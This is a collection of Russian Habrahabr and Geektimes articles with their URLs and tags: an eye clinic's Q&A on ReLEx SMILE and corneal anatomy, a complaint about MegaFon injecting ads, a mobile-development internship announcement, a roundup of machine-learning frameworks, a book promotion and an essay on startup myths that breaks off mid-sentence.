будет, когда появятся нанолазеры? Сейчас наносекундные лазеры проходят клинические испытания. Их использование позволит работать на более высоких частотах с несколько меньшей передачей тепла в ткани, но до первых практических операций «в боевую» ещё около 5–7 лет минимум, скорее — все 10. Это уже количественный рост на несколько процентов, а не качественный, в технологиях операций на глазах сейчас мало что будет меняться принципиально. — Почему сейчас часто можно встретить предложения по лазерной коррекции зрения по очень низким ценам, на чем там экономят? Сейчас по-прежнему много клиник, которые работают на устаревшем морально и физически оборудовании и для диагностики, и для хирургии. А порой и без необходимого диагностического оборудования. Есть даже такие клиники, которые называют себя «премиальными», а оборудование прошлого и позапрошлого поколений. Отсюда и жалобы пациентов в послеоперационном периоде на качество зрения и другие проблемы. Старые лазерные установки не способны решать задачи, на которые рассчитаны современные лазеры. Поэтому, выбирая клинику, поинтересуйтесь, какая лазерная установка будет использована и какого она года выпуска. — Насколько сильнее роговица ослабляется при процедуре LASIK, чем при ReLEx? Пока понимание интуитивное: ReLEx лучше. Практический отчёт многолетнего исследования по биомеханике будет опубликован через 7 месяцев. Тогда мы и приведём числа и факты. В целом вы можете не менее интуитивно сравнить результаты по потере иннервации и другим побочным эффектам вроде кератоконуса — в случае LASIK/FLEX-методов их в разы больше. Но, повторюсь, лучше обсуждать это числами после публикации 10-летних исследований, которых пока просто нет. Совсем коротко — FDA имеет самые жёсткие требования и всегда настаивает на проведении собственных независимых исследований, но она признала SMILE подходящим для использования в клиниках США как один из основных методов. В русской Википедии есть статистика по побочным эффектам разных операций с подтверждающими ссылками . — Почему ReLEx делается только фемтосекундными лазерами? При Ласике используется два лазера: фемтосекундный для снятия «крышки», а затем эксимерный для выпаривания широкой линзы. Для точных малоинвазивных (и передающих мало тепла на боуменову мембрану и ниже) операций нужны лазеры с частотой около 500 КГц и очень точной фокусировкой — традиционные эксимерные не подходят. На текущий момент нужную точность дают только Цейсовская оптика, то есть лазеры серии VisuMax (старые модели вам наверняка хорошо знакомы). 13 микрон толщины — это одна диоптрия. Такая точность была достигнута благодаря совмещению фактически лазерной трубки из промышленности (изначально — вроде бы космической) с линзами Цейса. Именно последние создали фокусирующую оптику для медицины. — Что нужно знать про роговицу и какие особенности регенерации каждого слоя? Роговица — часть глаза, которую вы можете легко увидеть: выпуклая прозрачная часть, которая контактирует с воздухом. Обычный диаметр — 10–12 мм для людей любой расы. В центре толщина этой выпукло-вогнутой линзы 520–560 микрон, с краю около 1 миллиметра (все размеры усреднённые, бывают тонкие и очень тонкие роговицы). У роговицы 5 слоев. Вот принципиальная схема: А вот в масштабе с Викисклада: 1. эпителий роговицы; 2. Боуменова мембрана; 3. строма роговицы; 4. Десцеметова оболочка; 5. эндотелий роговицы. Эпителий роговицы является многослойной плоской тканью и составляет около около 10% всей толщины роговицы. Клетки эпителия роговицы расположены в 5–7 рядов. Эпителий роговицы выполняет механическую защитную функцию, поскольку препятствует тому, что микроорганизмы и инородные тела проникали внутри глаза; биологическую защитную функцию, так как содержит клетки, которые участвуют в иммунном ответе, оптическую функцию — муцин слезной пленки заполняет все неровные элементы в поверхностном слое, что обеспечивает гладкую, прозрачную поверхность для прохождения и преломления лучей света; мембранную функцию — эпителий роговицы представляет собой биологическую мембрану, через которую могут проникать некоторые вещества. Как и обычный эпителий кожи, он отлично регенерирует, и его при операции ФРК удаляют, чтобы получить доступ глубже. В течение нескольких дней он восстанавливается. Второй слой — боуменова мембрана. Это невероятно тонкий и важный слой, лежащий сразу под эпителием. Боуменова мембрана расположена под базальной мембраной, имеет толщину 12 мкм и не содержит клеток. Боуменова мембрана состоит из хаотично расположенных коллагеновых фибрилл. Имеет переднюю гладкую поверхность и заднюю поверхность для сглаживания неоднородного рельефа стромы, что обеспечивает прозрачность роговицы. Боуменова мембрана не может восстанавливаться после повреждения, поэтому после повреждений роговицы в этой части, на месте дефектов образуются рубцы и прозрачность роговицы в этих участках нарушается — образуются помутнения. При лазерной коррекции линзы формируются глубже. Однако при любом резе через боуменову мембрану, мы перерезаем нервные окончания. При операции ФРК он удаляется, чтобы получить доступ к строме. Соответственно, при малоинвазивном удалении лентикулы при ReLEx рез там только один короткий на 2,5 мм, а не почти по всей окружности, как в случае LASIK/FLEX-подобных методов. Именно повреждения боуменовой мембраны нарушают эпитализацию глаза, иннервацию и дают другие побочные эффекты. Следующая часть роговицы — строма. Именно здесь идёт основная работа. Ткань — коллагеновые нити, пропитанные гиалуроновой кислотой. При увеличении они напоминают канаты, вот такие в разрезе: Строма является основной частью роговицы и занимает приблизительно 90% ее толщины. Строма роговицы состоит из параллельно расположенных пластин. Пластины образованы из коллагеновых фибрилл. Коллаген обеспечивает прозрачность роговицы и ее прочность. В строме роговицы выделяют две основные части: переднюю строму роговицы и заднюю строму роговицы. Передняя строма более рыхлая и состоит из более тонких пластин, задняя строма имеет более плотное и компактное строение. Регенерация стромы осуществляется за счет клеток-кератоцитов, которые способны к синтезу коллагена и, за счет этого, поддерживают оптимальный уровень коллагеновых волокон и внеклеточного матрикса. Эти самые канаты умеют отлично сращиваться, если их воткнуть один в другой (с образованием узлов-спаек, что мешает остроте зрения), но при этом, будучи положенными друг на друга внахлёст (то есть под разными углами), не образуют этих самых узлов, а просто сцепляются. Во время лазерной коррекции ReLEx SMILE мы вырезаем в этом слое линзу и вытаскиваем её. После операции полость в роговице смыкается — «канаты» ложатся друг на друга, но на местах разрезов не образуется чёткая граница из соединений, то есть всё остаётся прозрачным (сращивания единичных коллегановых нитей происходят на границе линзы, то есть по внешнему диаметру). Каркас поддерживается как обычно — натянутой сверху боуменовой мембраной и нижними слоями. Следующие два слоя — десцеметова мембрана и эндотелий — нас при лазерной коррекции почти не интересуют, поскольку мы ее не затрагиваем этими операциями. Это фактически мягкая и жёсткая граница органа, своего рода стандартный «кожух» для организма. — Что будет после операции? В день операции чаще всего через пару часов вы почти не чувствуете дискомфорта и утром следующего дня он полностью исчезает. Основное ограничение после операции — не тереть глаза руками. В течение недели после операции вам необходимо закапывать полученные в клинике глазные капли. При необходимости мы также предоставим препараты искусственной слезы. Острота зрения в первые дни может несколько колебаться. Чтобы поверхности сошлись после извлечения лентикулы, нужен чуть более долгий процесс зрительной реабилитации, чем при методах, подразумевающих «полное открытие» роговицы глаза. Глазу нужно время, чтобы научиться фокусировке на близких предметах, чтобы заработали нужные мышцы. Осмотры для контроля результатов коррекции мы проводим через день, через несколько дней и ещё через несколько недель после операции. Уже через два–три дня вы можете снова приступить к работе и заниматься спортом. В целом, на следующий день после операции можно спокойно вести обычный образ жизни (кататься на велосипеде, наклоняться и пр.) — нет рисков смещения лоскута-флепа, как при других методиках. Зрительная нагрузка со следующего дня после операции не ограничивается, но лучше не злоупотреблять ноутбуком, книгами и планшетом в течение первой недели. Однако от плавания и посещения сауны необходимо отказаться на пару недель, чтобы снизить риск инфицирования через разрез в роговице. Если сравнивать с LASIK, то восстановление зрения более постепенное, в течение недели, но ограничений по физическим нагрузкам значительно меньше. Скажу, что, наверное, это одно из самых частых возражений пациентов — не каждый готов ради хорошей биомеханики роговицы пожертвовать неделей без активной зрительной нагрузки. Как врач, беспокоящийся о безопасности, я не очень одобряю такой подход, но, если пациенту уже на следующие сутки очень важно высокое качество зрения — мы обычно идём навстречу, объяснив риски. При осмотре под микроскопом уже через неделю после SMILE место удаления лентикулы и пространство стыка тканей при наблюдении глаза пациента найти очень сложно. После LASIK/FLEX-методов зона коррекции очень чётко находится по повреждениям на краях, иногда — по следам смещений.
https://geektimes.ru/company/klinika_shilovoy/blog/283858/
habrahabr
Здравствуй, дорогой Мегафон
['мегафон', 'ios', 'android', 'скажи_нет_навязчивой_рекламе']
Пишет тебе из маленькой деревни подо Ржевом простой и скромный разработчик сайтов. Хочу поговорить с тобой, Мегафон, о такой теме как реклама. Точнее, о нормативном документе №38-ФЗ, главе 2,...
Пишет тебе из маленькой деревни подо Ржевом простой и скромный разработчик сайтов. Хочу поговорить с тобой, Мегафон, о такой теме как реклама. Точнее, о нормативном документе №38-ФЗ, главе 2, статье 18. Я не помню, дорогой Мегафон, чтобы я вставлял коды твоих рекламных баннеров в код сайтов, которые разрабатываю. Больше того, я не помню чтобы я давал согласие на то, чтобы ты сам вставлял их в трафик идущий на мои мобильные устройства с этих и любых других сайтов. И даже простого согласия на показ мне рекламы на мобильных устройствах я тоже не давал. Так почему же ты, дорогой Мегафон, вынуждаешь меня смотреть эту рекламу даже когда я открываю инструменты разработчика в десктопном браузере чтобы просто протестировать какой-либо сайт? Я, конечно, рад за тебя, ты можешь на основании строки user-agent показывать на мобильных устройствах свои баннеры, но подумай все-таки об указанном выше ФЗ. Возможно все-таки стоит соблюдать законы?
https://habrahabr.ru/post/318010/
habrahabr
Новая зимняя стажировка для разработчиков в Redmadrobot
['стажировка', 'redmadrobot', 'мобильная разработка', 'разработка под android', 'разработка под ios', 'objective-c']
Привет, Хабр! Мы открываем набор на третью стажировку для разработчиков в Redmadrobot. Старт 19 января 2017 года, продолжительность программы 7-8 недель. Сбор заявок до 25 декабря. Что...
Привет, Хабр! Мы открываем набор на третью стажировку для разработчиков в Redmadrobot. Старт 19 января 2017 года, продолжительность программы 7-8 недель. Сбор заявок до 25 декабря. Что ждать от нас? Концепция стажировки максимально проста: Максимально актуальные и нужные навыки Материалы из реальных проектов Вечерние занятия три раза в неделю, которые получится совмещать с работой Сложные и интересные домашние задания Знакомство с внутренней кухней компании Ну и, конечно, возможность стать одним из Роботов для тех, кто на нашей волне В программу стажировки мы включили следующие темы: Проектирование MVC, MVP, MVVM, MVPM и SOA в iOS- и Android-приложениях Уместное и правильное применение шаблонов проектирования Разработка по принципам повторного использования Поддержка кодовой базы в чистоте и актуальном состоянии после каждого WWDC и Google I/O Сочное Swift 3 iOS 10 Kotlin Android 7 Многопоточность Грамотный подход к многопоточности в Android От NSOperation до OSAtomic и POSIX в iOS Безопасность Модель угроз: как уберечь доверчивых пользователей от них самих Защита соединения между клиентом и сервером Хорошие практики шифрования и хранения данных на устройстве OWASP Mobile Top-10 Root на Android, как с этим жить и писать безопасные приложения Reverse engineering Android-приложений Что делать с Jailbreak на iOS-устройствах iOS KeyChain изнутри UI Как стать UI-джедаем и AutoLayout-ниндзей Утилиты, которые мы написали, чтобы облегчить себе работу Анимируй это: CALayer, UIKitDynamics Material design по гайдам от Google и вопреки им Правильные анимации для приятного UX: Android way Автоматизация сборки Как работает сборка в Xcode: таргеты, схемы, конфигурации и воркспейсы Как работает сборка в Android Studio (Gradle) Автоматизация с помощью Fastlane и Jenkins Клиент-серверные взаимодействия Устройство баз данных и как это нас касается REST, проектирование хороших API Эффективное взаимодействие с inhouse-командой backend Дожить до релиза, если бэк делает внешняя команда Эквайринг платежей и привязка кредитных карт Коммуникация в производстве Как общаться с BA, DES, QA и сойти с ума Бизнес-процессы вне разработки: тест-кейсы, нарезка и прочие точки контакта Стажировку проведут лучшие технические специалисты Redmadrobot: Артем Кулаков Fi5t , Александр Блинов Xanderblinov , Роман Чуркин firmach , Григорий Матвиевич fountainhead , Оля Ворона malinoeshka , Нина Дмитриева Firedru , Александр Емельяненков Lumenist , Иван Вавилов vani2 , Егор Тафланиди BepTep , Артур Сахаров mc_murphy и многие другие. Что мы ищем в вас? Вы имеете опыт разработки под мобильные платформы, но хотите разложить все по полочкам? Вы уже пишете код лучше всех и думаете, куда расти дальше? Вы еще не пишете код лучше всех, но являетесь middle’ом и энтузиастом? Давайте синхронизируемся по тем терминам, знание которых мы ожидаем перед началом: Инкапсуляция. Наследование. Полиморфизм. Частные методы. Публичные методы. Виртуальные методы. Конструкторы. Деструкторы. Акцессоры. Мутаторы. Поля/свойства. Жизненный цикл приложения. Жизненный цикл экрана/страницы. Указатели. Reference Type. Value Type. Лямбда-выражения. iOS: Протоколы. Расширения. Перечисления. Структуры и классы. Блоки. Замыкания. Делегаты. GCD. Auto Layout. View. Контроллеры. Модель. Android: Activity. Fragment и FragmentManager. Кастомные view. Looper и LifeCycle. Reflection. GC. Animator. Multithreading Знакомо? Тогда нам по пути. Занятия и домашние задания будут на Swift/Kotlin. В процессе стажировки мы уделим внимание как лекциям и семинарам, так и практическому применению полученных знаний. В этот раз мы сформируем две отдельные группы: iOS и Android. Стажировка не оплачивается. Лучшие стажеры будут приглашены на постоянную работу. Как записаться? Заполнить iOS-анкету или Android-анкету до 25 декабря — мы выйдем на связь в течение двух недель. Проведем эту зиму вместе — будет холодно интересно :)
https://habrahabr.ru/company/redmadrobot/blog/317988/
habrahabr
Подборка фреймворков для машинного обучения
['parallels', 'parallels desktop', 'машинное обучение', 'machine learning', 'it', 'рунет', 'технологии', 'виртуализация']
В последние годы машинное обучение превратилось в мейнстрим небывалой силы. Эта тенденция подпитывается не только дешевизной облачных сред, но и доступностью мощнейших видеокарт, применяемых...
В последние годы машинное обучение превратилось в мейнстрим небывалой силы. Эта тенденция подпитывается не только дешевизной облачных сред, но и доступностью мощнейших видеокарт, применяемых для подобных вычислений, — появилась ещё и масса фреймворков для машинного обучения. Почти все из них open source, но куда важнее то, что эти фреймворки проектируются таким образом, чтобы абстрагироваться от самых трудных частей машинного обучения, делая эти технологии более доступными широкому классу разработчиков. Под катом представлена подборка фреймворков для машинного обучения, как недавно созданных, так переработанных в уходящем году. Если у вас все хорошо с английским, то статья в оригинале доступна здесь . Apache Spark MLlib Apache Spark больше всего известен благодаря своей причастности к семейству Hadoop. Но этот фреймворк для обработки данных внутри памяти (in-memory) появился вне Hadoop, и до сих пор продолжает зарабатывать себе репутацию за пределами этой экосистемы. Spark превратился в привычный инструмент для машинного обучения благодаря растущей библиотеке алгоритмов , которые можно быстро применять к находящимся в памяти данным. Spark не застыл в своём развитии, его алгоритмы постоянно расширяются и пересматриваются. В релизе 1.5 добавлено много новых алгоритмов, улучшены существующие, а также в Python усилена поддержка MLlib, основной платформы для решения математических и статистических задач. В Spark 1.6, помимо прочего, благодаря непрерывным конвейерам (persistent pipelines) появилась возможность приостановки и продолжения выполнения задач Spark ML. Apache Singa Фреймворки « глубинного обучения » используются для решения тяжёлых задач машинного обучения, вроде обработки естественных языков и распознавания изображений. Недавно в инкубатор Apache был принят open source-фреймворк Singa , предназначенный для облегчения тренировок моделей глубокого обучения на больших объёмах данных. Singa обеспечивает простую программную модель для тренировки сетей на базе кластера машин, а также поддерживает многие стандартные виды тренировочных заданий: свёрточные нейронные сети , ограниченные машины Больцмана и рекуррентные нейронные сети . Модели можно тренировать синхронно (одну за другой) и асинхронно (совместно), в зависимости от того, что лучше подходит для данной проблемы. Также Singa облегчает процесс настройки кластера с помощью Apache Zookeeper . Caffe Caffe — фреймворк глубинного обучения. Он сделан «с расчётом на выразительность, скорость и модульность». Изначально фреймворк создавался для проектов машинного зрения , но с тех пор развился и теперь применяется и для других задач, в том числе для распознавания речи и работы с мультимедиа. Главное преимущество Caffe — скорость. Фреймворк целиком написан на С++, поддерживает CUDA, и при необходимости умеет переключать поток обработки между процессором и видеокартой. В пакет поставки входит набор бесплатных и open source референсных моделей для стандартных задач по классификации. Также немало моделей создано сообществом пользователей Caffe . Microsoft Azure ML Studio Учитывая огромный объём данных и вычислительной мощности, необходимый для машинного обучения, облака являются идеальной средой для ML-приложений. Microsoft оснастила Azure собственным сервисом машинного обучения, за который можно платить только по факту использования — Azure ML Studio. Доступны версии с помесячной и почасовой оплатой, а также бесплатная (free-tier). В частности, с помощью этой системы создан проект HowOldRobot . Azure ML Studio позволяет создавать и тренировать модели, превращать их в API для предоставления другим сервисам. На один пользовательский аккаунт может выделяться до 10 Гб места ля хранения данных, хотя можно подключить и собственное Azure-хранилище. Доступен широкий спектр алгоритмов, созданных Microsoft и сторонними компаниями. Чтобы попробовать сервис, не надо даже создавать аккаунт, достаточно войти анонимно, и можно гонять Azure ML Studio в течение восьми часов. Amazon Machine Learning У Amazon есть свой стандартный подход к предоставлению облачных сервисов: сначала заинтересованной аудитории предоставляется базовая функциональность, эта аудитория что-то из неё лепит, а компания выясняет, что же на самом деле нужно людям. То же самое можно сказать и про Amazon Machine Learning . Сервис подключается к данным, хранящимся в Amazon S3, Redshift или RDS, он может выполнять двоичную классификацию, многоклассовую категоризацию, а также регрессию по указанным данным для создания модели. Однако этот сервис завязан на Amazon. Мало того, что он использует данные, лежащие в принадлежащих компании хранилищах, так ещё и модели нельзя импортировать или экспортировать, а выборки данных для тренировок не могут быть больше 100 Гб. Но всё же это хороший инструмент для начала, иллюстрирующий, что машинное обучение превращается из роскоши в практический инструмент. Инструментарий для распределённого машинного обучения Microsoft (Microsoft Distributed Machine Learning Toolkit) Чем больше компьютеров вы можете задействовать для решения проблемы машинного обучения, тем лучше. Но объединение большого парка машин и создание ML-приложений, которые эффективно на них выполняются, может быть непростой задачей. Фреймворк DMTK (Distributed Machine Learning Toolkit) предназначен для решения проблемы распределения различных ML-операций по кластеру систем. DMTK считается именно фреймворком, а не полномасштабным коробочным решением, поэтому с ним идёт небольшое количество алгоритмов. Но архитектура DMTK позволяет расширять его, а также выжимать всё возможное из кластеров с ограниченными ресурсами. Например, каждый узел кластера имеет собственный кэш, что уменьшает объём обмена данными с центральным узлом, предоставляющим по запросам параметры для выполнения задач. Google TensorFlow Как и Microsoft DMTK, Google TensorFlow — это фреймворк машинного обучения, созданный для распределения вычислений в рамках кластера. Наряду с Google Kubernetes этот фреймворк разрабатывался для решения внутренних проблем Google, но в конце концов компания выпустила его в открытое плавание в виде open source-продукта. TensorFlow реализует графы потоков данных (data flow graphs), когда порции данных («тензоры») могут обрабатываться серией описанных графом алгоритмов. Перемещение данных по системе называется «потоками». Графы можно собираться с помощью С++ или Python, и обрабатывать процессором или видеокартой. У Google есть долгосрочные планы по развитию TensorFlow силами сторонних разработчиков. Инструментарий для создания вычислительных сетей Microsoft (Microsoft Computational Network Toolkit) По горячим следам DMTK Microsoft выпустила ещё один инструментарий для машинного обучения — CNTK . CNTK аналогичен Google TensorFlow, он позволяет создавать нейронные сети посредством ориентированных графов . Microsoft сравнивает этот фреймворк с такими продуктами, как Caffe, Theano и Torch. Его главное преимущество — скорость, особенно когда речь идёт о параллельном использовании нескольких процессоров и видеокарт. Microsoft утверждает, что использование CNTK в сочетании с GPU-кластерами на базе Azure позволяет на порядок ускорить тренировку по распознаванию речи виртуальным помощником Cortana. Изначально CNTK разрабатывался как часть исследовательской программы по распознаванию речи и предлагался в виде open source-проекта, но с тех пор компания перевыпустила его на GitHub под гораздо более либеральной лицензией. Veles (Samsung) Veles — это распределённая платформа для создания приложения глубокого обучения. Как и TensorFlow и DMTK, она написана на С++, хотя для автоматизации и координации узлов используется Python. Прежде чем скармливаться кластеру выборки данных, их можно анализировать и автоматически нормализовать. REST API позволяет немедленно использовать натренированные модели в рабочих проектах (если у вас достаточно мощное оборудование). Использование Python в Veles выходит за пределы «склеивающего кода». Например, IPython (теперь Jupyter), инструмент для визуализации и анализа данных, может выводить данные из кластера Veles. Samsung надеется, что статус open source поможет стимулировать дальнейшее развитие продукта, как и портирование под Windows и Mac OS X. Brainstorm Проект Brainstorm разработан аспирантами из швейцарского института IDSIA ( Institute Dalle Molle for Artificial Intelligence ). Он создавался «для того, чтобы сделать нейронные сети глубокого обучения быстрее, гибче и интереснее». Уже есть поддержка различных рекуррентных нейронных сетей, например, LSTM. В Brainstorm используется Python для реализации двух «обработчиков» — API управления данными: один для процессорных вычислений с помощью библиотеки Numpy, а второй для использования видеокарт с помощью CUDA. Большая часть работы выполняется в Python-скриптах, поэтому не ожидайте роскошного фронтенд-интерфейса, если только не прикрутите что-то своё. Но у авторов есть далеко идущие планы по «извлечению уроков из более ранних open source-проектов» и использованию «новых элементов дизайна, совместимых с различными платформами и вычислительными бэкендами». mlpack 2 Многие проекты по машинному обучению используют mlpack , написанную на С++ библиотеку, созданную в 2011 году и предназначенную для «масштабирования, ускорения и упрощения использования». Внедрить mlpack для выполнения сделанных на скорую руку операций типа «чёрный ящик» можно с помощью кэша файлов, исполняемых через командную строку, а для более сложных работ — с помощью API C++. В mlpack 2.0 был проведён большой объём работы по рефакторингу и внедрению новых алгоритмов, переработке, ускорению и избавлению от неэффективных старых алгоритмов. Например, для нативных функций генерирования случайных чисел C++11 была исключён генератор библиотеки Boost. Одним из давних недостатков mlpack является нехватка биндингов для любых других языков, за исключением С++. Поэтому программисты, пишущие на этих других языках, не могут использовать mlpack, пока кто-то не выкатит соответствующую обёртку. Была добавлена поддержка MATLAB , но подобные проекты больше всего выигрывают в тех случаях, когда они напрямую полезны в основных окружениях, где и используется машинное обучение. Marvin Ещё один относительно свежий продукт. Marvin — это фреймворк для нейронных сетей, созданный в Princeton Vision Group. В его основе всего несколько файлов, написанных на С++, и CUDA-фреймворк. Несмотря на минимализм кода, Marvin поставляется с неплохим количеством предварительно натренированных моделей , которые можно использовать с надлежащим цитированием и внедрять с помощью pull request’ов, как и код самого проекта. Neon Компания Nervana создаёт программно-аппаратную платформу для глубокого обучения. И в качестве open source-проекта предлагает фреймворк Neon . С помощью подключаемых модулей он может выполнять тяжёлые вычисления на процессорах, видеокартах или оборудовании, созданном Nervana. Neon написан на Python, с несколькими кусками на С++ и ассемблере. Так что если вы делаете научную работу на Python, или используете какой-то иной фреймворк, имеющий Python-биндинги, то можете сразу же использовать Neon. В заключение хочется сказать, что конечно же это далеко не все популярные фреймворки. Наверняка в ваших закромах водится дюжина любимых инструментов. Не стесняйтесь, делитесь своими находками в комментариях к данной статье.
https://habrahabr.ru/company/parallels/blog/317994/
habrahabr
Психология потребителя — бесплатная книга и лекция с ВШЭ
['психология покупателя', 'сатин', 'книга', 'лекция']
Друзья, вы можете скачать и прочитать мою книгу "Психология потребителя". Уже более 10 000 сделали это :) Аннотация: Как изменилось поведение покупателей в эпоху e-commerce? Что...
Друзья, вы можете скачать и прочитать мою книгу " Психология потребителя ". Уже более 10 000 сделали это :) Аннотация: Как изменилось поведение покупателей в эпоху e-commerce? Что поможет клиенту сделать правильный выбор? Как управлять взглядом посетителя сайта? Первая книга о психологии интернет-пользователей — это экспертный опыт основателя UsabilityLab, инженерного психолога Дмитрия Сатина Отзывы о книге в соцсетях очень позитивные! И, если интересно продолжить общение, приходите на открытую лекцию 22 декабря в 19:00 в ВШЭ. Лекция бесплатная. Она организована в поддержку краудфандинга для второй книги " О юзабилити " Под катом фрагмент главы второй книги «О юзабилити» Юзабилити — это упрощение. Но до какого предела нужно упрощать жизнь человека? Девиз Всемирного Дня Юзабилити, который отмечается с 2005 года во второй четверг ноября – Making Life Easier! Если считать этот посыл главной ценностью юзабилити, и понимать его утрированно, то можно прийти к состоянию, которое показано в мультфильме «ВАЛЛ·И» (WALL-E), где за людей абсолютно любое действие делали роботы. Понятно, какой мир нас ждёт, если руководствоваться только этой идеей. Мы дойдём до отказа от физического тела! Поскольку технологии расширяют возможности и постоянно развиваются, в какой-то момент они могут довести до отказа от тела человека, и оно будет не нужно совсем ни для чего. А дальше произойдёт утрата человеческого… Может быть, это то, о чём мечтал Фридрих Ницше, когда он писал, что человеческое должно быть преодолено, и что человек — это всего лишь мостик к сверхчеловеку? Не знаю. Я себе сверхчеловека представляю другим. Это деятель, творец, напряжённый и целеустремленный, которому помогают технологии, а не заменяют его. Даже более простые существа хотят некоторого напряжения при достижении цели. Эксперименты на крысах показали, что животное не всегда выбирает кратчайший путь до цели. Она выбирает не тот путь, который ей уготовил экспериментатор, а тот, который она выбрала сама, даже если он не самый оптимальный. По каким-то причинам живое существо пытается самостоятельно управлять собой. Сложно обсуждать счастье крысы, но говоря о человеке можно уверенно сказать, что результат, полученный без усилий его не радует. А успешное преодоление оптимального уровня трудностей приносит чувства самореализации и счастья. Получается, что мы должны сохранять некоторый тонус во взаимодействии человека с техникой: в чем-то должно быть напряжение, сложность, но нужно при этом помогать пользователю комфортно (с оптимальной затратой сил) достигать своих целей. На эту тему у меня есть шутка: как сделать «самую эргономичную» компьютерную игру? Нужно создать большую кнопку, на которой будет написано: «ВЫИГРАТЬ». Нажимаешь – звучат победные фанфары! Ты выиграл!!! Только с точки зрения психологии человека это – совершенная бессмыслица. Он же играет в игры, чтобы помучиться, ради преодоления, ради получения нового опыта, а не ради бесплатного выигрыша. Моя хорошая знакомая предпочитает механическую коробку передач в автомобиле, хотя с автоматической коробкой руки водителя более свободны, например, для того, чтобы манипулировать экраном смартфона при прокладывании маршрута. На мои вопросы, почему механика ей нравится больше, чем автомат, она ответила: “Хочу чувствовать, что я управляю машиной, а не она мной!” Я сильно удивился такому ответу. Ведь сейчас много внимание уделяется созданию автопилотируемых автомобилей и самолётов. Один из прогнозов, опубликованных от имени Пентагона, в ближайшем будущем самолеты будут совершать взлёт и посадку под управлением роботов. Автопроизводители рассказывают о новых грузовиках, которые будут перевозить грузы без участия водителя. Google запускает такси без водителя. Кажется, что мы с радостью передаём работу технологиям в двух случаях: 1. Если она скучна; 2. Если она непосильна (например, обработка слишком большого объема данных для принятия сложного решения или преобразование снятой нами фотографии в картину Ван Гога). Но какие-то задачи мы оставляем себе. Те, что нам интересны. Те, реализуя которые мы чувствуем себя живыми. Эти мысли приводят меня к идее важности оптимума мотивации, который открыли зоопсихологи в экспериментах на крысах. Слишком простые и сверхсложные задачи плохо мотивируют. От первых мы впадаем в апатию, от вторых — в панику. Но задачи средней (или правильнее сказать, оптимальной) сложности возбуждают нас, мы приходим в состояние потока, когда нам раскрывается внутренняя мотивация деятельности. Когда мы совершаем работу не ради её результата, а ради самого процесса, приносящего нам ясность ума, чувство контроля и полноты жизни. Поэтому я соглашаюсь с теми, кто считает, что будущее за технологиями. Бесспорно, они будут занимать в нашей жизни всё больше места, выполняя за нас то, что мы не хотим или не можем делать. Но человек оставит за собой ту работу, которая гармонична его возможностям. Иначе, человеку придется потерять самого себя и смысл своей жизни. — Не теряйте себя! Читайте книгу и приходите на лекцию !
https://habrahabr.ru/company/usabilitylab/blog/318016/
habrahabr
Пять причин, чтобы не создавать стартап, а остаться наёмным сотрудником
['стартап', 'свое дело', 'работа по найму']
Для многих из нас стартап — это не просто цель. Это сияющая мечта, к которой мы готовы идти, не обращая внимания на трудности. Вот только на самом деле, большинству нужно не свое дело, а...
Для многих из нас стартап — это не просто цель. Это сияющая мечта, к которой мы готовы идти, не обращая внимания на трудности. Вот только на самом деле, большинству нужно не свое дело, а работа в хорошей компании и карьерный или профессиональный рост. А создавать собственное дело от нас требует общественное мнение, вооруженное несколькими мифами о стартапах. Сейчас мы разберём, насколько эти мифы правдивы. И каждое разоблачение мифа станет причиной не создавать стартап. Миф первый. Лучше работать на себя, чем на дядю Конечно приятно забирать себе 100% прибыли, а не небольшой кусочек оной в виде зарплаты. Вот только большой вопрос — будет ли эта прибыль. Наёмный сотрудник заботится только о качественном выполнении своих служебных обязанностей. В 9 придти, в 18 уйти, всё что надо сделать и ждать аванса с получкой. А если деньги запоздают, то на собственника можно и в суд подать. Ныне законодательство суровое. А если собственник вы, то все проблемы ложатся на ваши плечи. Заказчик отказываться платить? Контрактор не сдал вовремя работу? Три человека написали заявление на увольнение? Бухгалтер ворует приписками? Наезжает налоговая? Вашему коллективу нет до этого никакого дела. Они знают, что если по качеству их работы к ним претензий нет, то будьте добры регулярно перечислять им деньги. А сами можете не спать ночами и думать где бы эти деньги раздобыть. А когда после выплаты зарплат, налогов, вложений в бизнес, вы посчитаете свою долю, то можете оказаться не самым высокооплачиваемым сотрудников в компании. Но ничего, ведь вас греют мысли о будущем. Кстати… Миф второй. Своя компания прокормит в старости и перейдет в наследство внукам Многие считают, что однажды занявшая бизнес-вершину компания, будет пребывать на ней пожизненно. Если бы это было правдой, то мы фотографировали бы на Polaroid, а общались бы с помощью My Space и Одноклассников. И это еще пример крупных компаний, где у руля стоит не один основатель, а множество специально нанятых управленцев. Вот компании Apple тысячи сотрудников, а стоило умереть Джобсу и «Apple уже не тот». А Microsoft после успешных десятилетий, сдает одну позицию за другой, Скорее всего добившись успеха, вам придется руководить компаний до конца. Её или вашего. И смогут ли ваши потомки продолжить ваши героические труды — неизвестно. Как и то, сколько будет стоить ваша компания без вас и можно её вообще будет продать. Однако для многих деньги не главное. Для них важно встать у руля. И вот тут нас встречает… Миф третий. Стартап позволит вам стать руководителем Пока вы будете главой крохотной компании из 1-3-5 человек, руководить вы можете сколько влезет. А вот если вы не разоритесь и начнёте расти, то в какой-то момент придется привлечь инвестора или выпустить акции на рынок. И тогда в вашу вотчину, в ваше детище придут люди с деньгами, у которых будет только одна цель — заработать еще больше денег. И им могут не понравится ваши методы управления, то каких людей вы назначаете на ключевые позиции, как общаетесь с коллективом, какие инициативы выдвигаете, какие планы принимаете. И тогда вы отправитесь вслед за Стивом Джобсом и Павлом Дуровым — в отставку. Вашей компанией начнут рулить совсем другие люди. Иногда успешно, иногда не очень. Но если вы не Стив Джобс, то вряд и вас пригласят снова для спасения. Миф четвертый. Нужно рискнуть, чтобы стать победителем В комментарии к одной из моих прошлых публикаций мне напомнили потрясающую цитату Терри Пратчета (RIP): Все утопающие говорят, что дельфины толкали их к берегу. А знаете почему? Потому что те, кого дельфины толкали от берега, уже ничего никому сказать не смогли Книжные полки магазинов ломятся от success stories тех, кто поставил всё на карту, ушел из университета, продал квартиру — и стал богатым обладателем крутой компании! А те, кто остался без денег, квартиры и образования книг не пишут. Были ли они хуже победителей? Не факт. Десяткам клонов Facebook не повезло, а ВКонтакте стал популярен. И кто помнит имена проигравших? Допустим, вы действительно очень сильно верите в себя, а окружающие (не только ваши друзья) утверждают, что ваша идея гениальна. К тому же вы нашли вариант, который не требует материальных вложений. о есть потерять вы можете только время. Но неужели потеря времени — это такой пустяк? Миф пятый. Наёмным сотрудником еще успеешь поработать Нам отпущено не так много времени. А для карьерного развития и того меньше. На многих позициях, если ты не успел к 40, то опоздал. Никому не нужны сорокалетние начинающие управленцы или тридцатилетние junior программисты. Правильная карьера строится долго и это строительство требует немалого времени. Конечно же 